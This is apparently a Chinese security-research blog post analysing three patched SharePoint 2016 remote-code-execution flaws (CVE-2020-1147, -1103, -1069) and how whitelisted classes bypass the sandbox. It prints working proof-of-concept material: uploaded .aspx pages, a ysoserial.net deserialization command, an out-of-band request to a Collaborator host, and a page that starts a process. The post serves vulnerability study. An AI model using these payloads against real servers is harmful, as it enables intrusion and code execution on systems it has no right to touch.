作者:青藤實驗室
原文鏈接:https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g
在 SharePoint Rce 系列分析(一) 里我通過 CVE-2020-0974 展示了利用參數使用不當 bypass 沙箱; 在 SharePoint Rce 系列分析(二) 里通過 CVE-2020-1444 展示了利用服務端處理邏輯不當(TOCTOU) bypass 沙箱;
本文是這個系列的完結篇,將通過三個漏洞,展示如何從 SP 白名單入手挖掘突破口。
CVE-2020-1147:利用白名單類,通過 Asp.Net 處理 DataSet 反序列化不當實現 rce;
CVE-2020-1103:利用讀白名單類屬性,通過白名單上的類公有屬性與繼承關系讀子屬性(read gadgets),直到能讀 machineKey;
CVE-2020-1069:利用寫白名單類屬性,通過白名單上的類公有屬性與繼承關系寫子屬性(write gadgets),直到能寫用戶上傳網頁文件的 VirtualPath(SP 通過 VirtualPath 判斷網頁文件來源);
我在之前的系列分析里介紹過 SP 的沙箱模型,把用戶上傳的網頁文件稱作被“閹割了一部分功能”。微軟出于安全考慮,只允許用戶上傳的網頁文件在實現 Server Control 時引用一部分類,這部分類定義在 web.config 中,簡稱 SP 白名單。至于 Server Control 是什么,按照我的理解,就是 Asp.Net 提供給開發者的一種前后端數據交互的方式,比如我可以在網頁文件中引用服務端定義的類、方法,讀寫服務端的(公有)類(子)屬性。
調試環境
Server2016
SP2016
dnSpy
背景知識
http out-of-band
在 SP 中,當無法直接從 http 響應中獲取我想要的信息時,可以考慮 http out-of-band,具體通過 XmlUrlDataSource 或 SoapDataSource 實現,比如下面是 XmlUrlDataSource 的用法:
PUT /test.aspx HTTP/1.1
<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
<DataSources>
<SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
<SelectParameters>
<WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>
</SelectParameters>
</SharePoint:XmlUrlDataSource>
</DataSources>
</WebPartPages:DataFormWebPart>
dnslog 可以看到請求記錄

read/write gadgets
SP 白名單定義在 web.config 的 SafeControl 項中
通過類繼承關系,可以像鏈一樣迭代引用子屬性來進行讀(read gadgets)寫(write gadgets)操作,比如:
// A is a white-list class
public class A {
public B b;
}
public class B {
public C c;
}
public class C {
public D d;
}
我可以在上傳網頁文件中引用 A.b.c.d 進行讀寫操作。
讀寫是不同權限的操作,對目標屬性的要求也不同,除了 gadgets 的起點需要在白名單中外。對于讀操作,只要滿足屬性是 public 且符合繼承關系就可讀;對于寫操作,除了上述要求,還需要滿足 write gadgets 的終點(比如 A.b.c.d 中的 d)不能被 DesignerSerializationVisibility.Hidden 屬性修飾。
用 gadgets 這種方法突破沙箱,是這個議題引用的漏洞列表中反復使用的一種方法,除了 .net,議題的后半部分展示了通過 gadgets 突破各種 java 表達式語言的沙箱。
CVE-2020-1147
CVE-2020-1147 的原理很直接,在修復該漏洞之前,如果用 DataSet 或 DataTable 讀攻擊者完全可控的數據,攻擊者可以構造 xml payload 通過反序列化(不是 VIEWSTATE 反序列化)實現 rce。關于這部分的原理、payload 生成步驟可以通過文末參考中的 mr_me 的博客了解詳情。
再看這個漏洞,通過白名單類 ContactLinksSuggestionsMicroView 的 PopulateDataSetFromCache 方法,找到了 DataSet 反序列化的用法,這里直接用作者的原圖
之后就是根據調用路徑去構造滿足要求的 payload。
利用漏洞需要發送兩次請求。
1)上傳 .aspx
PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8
<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>
在瀏覽器上顯示是一個簡單的輸入框,第二個請求是在這個輸入框里提交 payload

2)向 1147.aspx 提交包含 payload 的 postback 請求 構造 payload 也可以分為兩步,首先借助 ysoserial.net 生成反序列化 payload
ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t
構造包含反序列化 payload 的 xml
然后把整個 xml 在 1147.aspx 的輸入框中提交就可以看到 calc 進程啟動。
CVE-2020-1147 的主要問題不是 ContactLinksSuggestionsMicroView 作為白名單類不合適,而是用 DataSet 反序列化時可以通過輸入控制反序列化類型,這在反序列化(經常需要處理不可信數據)的使用場景中肯定是有問題的。因此在安裝的了 CVE-2020-1147 的補丁后,DataSet 或者 DataTable 能夠反序列化的類型被限制在了一個白名單中,詳情可通過參考中的微軟官方說明了解。
CVE-2020-1103
CVE-2020-1103 利用 read gadgets 實現 rce。在 SP 中,要說從任意讀到 rce,很直觀地會想到 MachineValidationKey。作者找到的能讀 MachineValidationKey 的 read gadgets 是:
Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
但是,默認按照安裝向導安裝的 SP 環境中這個值為空
參考 Nauplius/FarmLaunch 可以知道只有在安裝 farm 之前將 unattend.txt 放到
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\
目錄下再安裝 farm,SPFarm.InitializationSettings 才不為空。
所以我之后用會另一個屬性來證明漏洞存在
對應的 read gadgets 就變成了
Web.Site.WebApplication.Farm.Id
首先執行表達式的地方是 DataBinder.Eval
參考 DataBinder.Eval Method 可以知道 text 可以寫成 A.B.C[N].D 這樣的表達式,用 text 表達式的執行結果可以獲取 control2 對象的任何公有(級聯)屬性。
通過官方文檔給出的用法示例
以及解釋
可以知道用 ControlParameter 可以獲取提前綁定好值的通知屬性,再通俗點解釋,就是(用類似 A.B.C[N].D 這樣的表達式)可以獲取任何 System.Web.UI.Control 子類對象的公有屬性。
再看 ControlParameter#Evaluate 的參數流,很容易發現 DataBinder.Eval 的兩個參數完全可控
string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);
分別對應
和

(獲取屬性的)表達式的構造只需要滿足兩個條件即可:
1. 作為執行上下文的類必須繼承自 System.Web.UI.Control
2. 獲取的目標屬性必須是 public,當然可以繼承自父類
這里用逆推的方式解釋比較好理解,首先SPFarm.InitializationSettings 里存儲了 MachineValidationKey,我這里用的是 SPFarm.Id,接下來就是根據繼承關系逆推調用鏈的過程,直到找到 System.Web.UI.Control 的子類:
// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }
// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }
// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }
// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }
// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }
下面是獲取 Farm.Id 的 dnslog 截圖,省略了 PUT 之后的 GET 請求

CVE-2020-1069
回顧一下 filter 機制中如何區分受信與非受信 .aspx

可以看出 System.Web.UI.PageParserFilter.VirtualPath 在這里扮演了一個安全標志位的角色。
舉個例子,比如 layouts 目錄下系統自帶的 .aspx 通過 /_layouts/15/xxx.aspx 這樣的 path 去訪問,而我們上傳的 .aspx 比如 PUT /1069.aspx HTTP/1.1 則是直接通過 /1069.aspx 這樣的 path 訪問,服務端很容易區分,也就方便決定是否啟用沙箱。可以設想,假如我把上傳的 .aspx 的路徑改成了 /_layouts/15/xxx.aspx,服務端在判斷是否啟用沙箱時就會把我當成文件系統上的 .aspx 而不是數據庫中,這樣我上傳 .aspx 就不會有任何限制。
通過 VirtualPath 的定義可以發現它只有 getter 沒有 setter
當請求上傳的 .aspx 時,通過調試可以發現它的值在 Create Method 中完成了賦值
此時的部分調用堆棧
根據作者的介紹 VirtualPath 的值由 AppRelativeVirtualPath 決定,原因沒有解釋,我從 call stack 中直接唯一一個和 TemplateControl 有關的調用節點:
這個過程基本上是直接的參數傳遞,所以很明顯。
最后一個問題是如何改變 AppRelativeVirtualPath 的值。
先看看出問題的類 WikiContentWebpart 的整體結構:

從繼承關系可以看出一直到 object 都沒有看到 TemplateControl,如果能通過 WikiContentWebpart 改變 AppRelativeVirtualPath,要么是繼承,要么是 aop。從這里來看顯然不是繼承。順著繼承關系往上找,最終在 System.Web.UI.Control 中找到了 Page 屬性:
而 Page 是繼承自 TemplateControl
另外,Microsoft.SharePoint.WebPartPages.WikiContentWebpart先這個類在白名單中:

到這里總結一下上面的分析: 通過控制 WikiContentWebpart(白名單) -> 控制 Page 屬性(WikiContentWebpart 繼承自 control) -> 控制 Page 的 AppRelativeVirtualPath 屬性(Page 繼承自 TemplateControl) 最終獲得控制 VirtualPath 的效果
利用仍然是兩步,首先上傳 payload
PUT /1069.aspx HTTP/1.1
<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>
trigger rce

參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1456/